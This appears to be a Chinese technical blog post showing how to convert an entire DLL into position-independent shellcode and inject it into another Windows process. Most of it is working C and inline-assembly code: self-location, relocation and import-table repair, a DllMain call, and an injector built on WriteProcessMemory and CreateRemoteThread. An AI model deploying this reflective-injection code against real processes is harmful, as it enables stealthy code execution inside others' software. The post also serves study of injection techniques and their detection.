selph
selph
发布于 2022-02-20 / 1420 阅读
0
0

将整个DLL转换成shellcode并执行

前言

之前已经实现了我们可以把dll手工模拟加载到内存,让dll在自己的进程的内存里执行,只需要定位到程序的入口点OEP的地址(DLL的OEP是DllMain函数的地址)然后去执行即可;如果是定位导出函数,也只需要通过导出表来定位函数地址即可(通过导出函数名称得到导出序号,根据导出序号从导出地址表里获取导出函数地址)。

如果想让自己加载的DLL注入到其他进程里也能执行,那么就需要进行一些处理才行

PE文件在内存里能执行主要是PE文件在内存里展开后,对重定位表和导入表进行了修正,修正重定位表是将涉及到模块基址的部分进行重定位,修正导入表则是对导入函数地址的重定位

因为修正重定位表和导入表的操作需要在dll注入到其他进程里了之后才能进行(依赖于注入的地址和系统dll的模块基址),所以通过shellcode来实现是不错的

这里以x86为例介绍本人对该目标的探索

实现目标及步骤

目标:将完整的dll注入到目标进程内并执行

步骤:

  1. 将dll展开到内存
  2. 编写shellcode修正dll的导入表和重定位表
  3. 注入shellcode和dll到目标内存执行

这里重点探究的是步骤2和3;如何使用shellcode去修正dll的导入表和重定位表,对于其他内容这里不做展开

具体实现

这里使用C语言编写shellcode,具体如何使用C写shellcode这里不进行展开,下文使用的pfn开头的函数一律是动态获取函数地址得到的函数

获取shellcode地址定位(自定位)

    // 获取shellcode首地址
    LPVOID lpShellcode = NULL;
    // 获取DLL内存首地址,用于后续修复操作和跳转
    LPVOID lpBaseAddress = NULL;
    __asm {
        __emit 0e8h;
        __emit 00h;
        __emit 00h;
        __emit 00h;
        __emit 00h;
        pop eax;
        mov dword ptr[lpShellcode], eax;
        add eax, 03edh;    //等写完代码回来修改,硬编码让这个地址指向dll内存首地址
        mov dword ptr[lpBaseAddress], eax;
    }

定位PE结构

// ==============0.定位dll PE结构=============
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBaseAddress;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((SIZE_T)lpBaseAddress + pDos->e_lfanew);
    PIMAGE_BASE_RELOCATION pLoc = (PIMAGE_BASE_RELOCATION)((SIZE_T)lpBaseAddress +
        pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    PIMAGE_IMPORT_DESCRIPTOR pImp = (PIMAGE_IMPORT_DESCRIPTOR)((SIZE_T)lpBaseAddress +
        pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

修正重定位表

    // ==============1.修复重定位表=============
    // 判断是否有重定位表,数据目录表项不存在的时候,VirtualAddress为0,也就是指向映像基址
    if ((LPVOID)pLoc != lpBaseAddress) {
        // 开始扫描重定位表,重定位表VirtualAddress和SizeOfBlock都为0表示重定位表结束(最后一项是全0)
        while ((pLoc->VirtualAddress + pLoc->SizeOfBlock) != 0) {
            // 数据目录表里的VirtualAddress指向对应表的虚拟地址开头,重定位数据位于重定位表8字节后
            PWORD pLocData = (PWORD)((SIZE_T)pLoc + sizeof(IMAGE_BASE_RELOCATION));
            // 重定位数据数量,重定位表大小减掉头部8字节,剩下的内容每2字节都是一个重定位数据
            SIZE_T dwNumOfReloc = (pLoc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

            for (SIZE_T i = 0; i < dwNumOfReloc; i++) {
                // 判断重定位类型,x86如果前4位是3就需要修正
                if ((WORD)(pLocData[i] & 0xF000) == 0x3000) {
                    // 需要修正的数据
                    // 重定位表记录的是硬编码的地址,需要转换成当前内存基地址
                    // 需要重定位的地址 = 基地址 + 重定位偏移(于基地址的偏移) + 重定位数据偏移(二级偏移)
                    PSIZE_T pAddress = (PSIZE_T)((SIZE_T)lpBaseAddress + (pLoc->VirtualAddress) + (pLocData[i] & 0x0FFF));
                    // 需要重定位的数据 = 硬编码地址 - 硬编码映像地址 + 真实映像地址
                    *pAddress = *pAddress - pNt->OptionalHeader.ImageBase + (SIZE_T)lpBaseAddress;
                }
            }
            // 移动到下一个重定位区段进行处理,每个区段都有对应一个重定位表进行修复使用
            pLoc = (PIMAGE_BASE_RELOCATION)((PBYTE)pLoc + pLoc->SizeOfBlock);
        }
    }

修正导入表

    // ==============2.修复导入表=============
    // 每个存在导入函数的DLL都会有一个导入表,导入表大小是固定的
    // 遍历导入表中的DLL,获取导入表中的函数地址
    while (pImp->OriginalFirstThunk != 0) { // 最后一个项为全0,退出
        // 获取导入表对应的DLL名称
        char* lpDllName = (char*)((SIZE_T)lpBaseAddress + pImp->Name);
        // 获取DLL模块基地址, 如果已经加载了就直接获取,不然就手动加载,加载不上就跳过
        HMODULE hDll = pfnGetModuleHandleA(lpDllName);
        if (hDll == NULL) {
            hDll = pfnLoadLibraryExA(lpDllName, NULL, NULL);
            if (hDll == NULL) {
                pImp++;
                continue;
            }
        }
        // 导入名称表地址, 通过导入名称表获取导入函数名称或序号获取其地址
        PIMAGE_THUNK_DATA lpImpName = (PIMAGE_THUNK_DATA)(pImp->OriginalFirstThunk + (SIZE_T)lpBaseAddress);
        // 导入地址表地址, 将获取的地址填入对应的导入地址表位置
        PIMAGE_THUNK_DATA lpImpAddr = (PIMAGE_THUNK_DATA)(pImp->FirstThunk + (SIZE_T)lpBaseAddress);
        // 开始修复导入表
        int i = 0;
        while (lpImpName[i].u1.AddressOfData != 0) {	// 表项以0结尾
            // 导入函数名称结构
            PIMAGE_IMPORT_BY_NAME lpFunName = (PIMAGE_IMPORT_BY_NAME)(lpImpName[i].u1.AddressOfData + (SIZE_T)lpBaseAddress);
            // 判断函数导出类型
            FARPROC lpFunAddress = NULL;
            if (0x80000000 & lpImpName[i].u1.Ordinal) {
                // 序号导出,IMAGE_THUNK_DATA最高位为1
                lpFunAddress = pfnGetProcAddress(hDll, (LPCSTR)(lpImpName[i].u1.Ordinal & 0x0000FFFF));
            }
            else {
                lpFunAddress = pfnGetProcAddress(hDll, lpFunName->Name);
            }
            lpImpAddr[i].u1.Function = (SIZE_T)lpFunAddress;
            i++;
        }
        pImp++;
    }

执行DllMain

    // ==============3.调用dllmain=============
    // DllMain函数地址在PE结构入口点OEP
    // typedef BOOL(__stdcall* selDllMain)(HINSTANCE hInstance, SIZE_T dwReason, LPVOID lpReserved);
    // selDllMain DllMain = (selDllMain)((SIZE_T)lpBaseAddress + pNt->OptionalHeader.AddressOfEntryPoint);
    // DllMain((HINSTANCE)lpBaseAddress, DLL_PROCESS_ATTACH, NULL);
    LPVOID selDllMain = (LPVOID)((SIZE_T)lpBaseAddress + pNt->OptionalHeader.AddressOfEntryPoint);
    __asm {
        push 0;
        push 1;
        mov eax, dword ptr[lpBaseAddress];
        push eax;
        mov eax, dword ptr[selDllMain];
        call eax;
    }

效果测试

#include "ManualLoadDll.h"
#include "Common.h"
#include "DLLtoShellcode.h"

char dllpath[] = "C:\\Users\\selph\\source\\Tools\\DLL\\ManualLoadDll\\Debug\\TestDll.dll";
char dllpath64[] = "C:\\Users\\selph\\source\\Tools\\DLL\\ManualLoadDll\\x64\\Debug\\TestDll.dll";
char exepath[] = "C:\\Users\\selph\\source\\Tools\\DLL\\ManualLoadDll\\Debug\\TextExe.exe";

int main(int argc, char* argv[]) {
	// 手动加载PE文件到内存
	ManualLoadPE mlPE(dllpath);

	// 拼接shellcode和DLL
	DWORD dwSize = 1 + mlPE.stImageSize + sizeof(hexData);
	PBYTE buffer = new BYTE[dwSize];
	memcpy(buffer, hexData, sizeof(hexData));
	memcpy(buffer + sizeof(hexData), mlPE.lpBaseAddress, mlPE.stImageSize);

	// 注入整个dll作为shellcode
	DWORD dwPid = 33512;

	//打开进程,获取进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	if (hProcess == NULL) {
		return FALSE;
	}
	//在注入进程中申请内存
	LPVOID pShellcodeAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (pShellcodeAddr == NULL) {
		return FALSE;
	}
	//在目标内存写入数据
	if (WriteProcessMemory(hProcess, pShellcodeAddr, buffer, dwSize, NULL) == NULL) {
		return FALSE;
	}
	//修改目标进程内存读写属性
	DWORD dwOld = 0;
	::VirtualProtectEx(hProcess, pShellcodeAddr, dwSize, PAGE_EXECUTE_READWRITE, &dwOld);


	// 注入--初始化DllMain
	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pShellcodeAddr, NULL, 0, NULL);
	WaitForSingleObject(hThread,INFINITE);

	//关闭句柄
	CloseHandle(hThread);
	CloseHandle(hProcess);
	return 0;
}

效果

  image.png


评论